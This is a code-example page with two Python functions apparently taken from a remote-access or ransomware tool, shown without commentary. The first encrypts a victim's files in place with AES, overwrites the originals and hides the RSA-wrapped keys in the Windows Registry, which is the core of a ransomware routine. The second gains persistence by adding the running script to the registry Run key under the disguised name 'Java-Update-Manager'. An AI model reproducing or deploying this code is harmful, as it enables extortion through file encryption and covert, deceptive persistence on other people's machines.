Beispiel #1
0
def encrypt_file(filename, rsa_key):
    """ 
    Encrypt a file with AES-256-OCB symmetric encryption
    using a randomly generated key, encrypt the key
    with RSA-2048 asymmetric encryption, then store the
    filename and RSA-encrypted AES-key as a key in the
    Windows Registry

    `Requires`
    :param str filename:          target filename
    :param RsaKey rsa_key:        2048-bit public RSA key

    Returns True if succesful, otherwise False
    """
    try:
        if os.path.isfile(filename):
            if os.path.splitext(filename)[1] in globals()['filetypes']:
                if isinstance(rsa_key, Cryptodome.PublicKey.RSA.RsaKey):
                    cipher = Cryptodome.Cipher.PKCS1_OAEP.new(rsa_key)
                    aes_key = Cryptodome.Random.get_random_bytes(32)
                    with open(filename, 'rb') as fp:
                        data = fp.read()
                    ciphertext = security.encrypt_aes(data, aes_key)
                    with open(filename, 'wb') as fd:
                        fd.write(ciphertext)
                    key = base64.b64encode(cipher.encrypt(aes_key))
                    util.registry_key(globals()['_registry_key'], filename,
                                      key)
                    util.log('{} encrypted'.format(filename))
                    return True
        else:
            _debugger.debug("File '{}' not found".format(filename))
    except Exception as e:
        _debugger.debug("{} error: {}".format(encrypt_file.func_name, str(e)))
    return False
Beispiel #2
0
def _add_registry_key(value=None, name='Java-Update-Manager'):
    try:
        if os.name == 'nt' and not methods['registry_key'].established:
            value = sys.argv[0]
            if value and os.path.isfile(value):
                try:
                    util.registry_key(r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", name, value)
                    return (True, name)
                except Exception as e:
                    util.log('{} error: {}'.format(_add_registry_key.func_name, str(e)))
    except Exception as e:
        util.log('{} error: {}'.format(_add_registry_key.func_name, str(e)))
    return (False, None)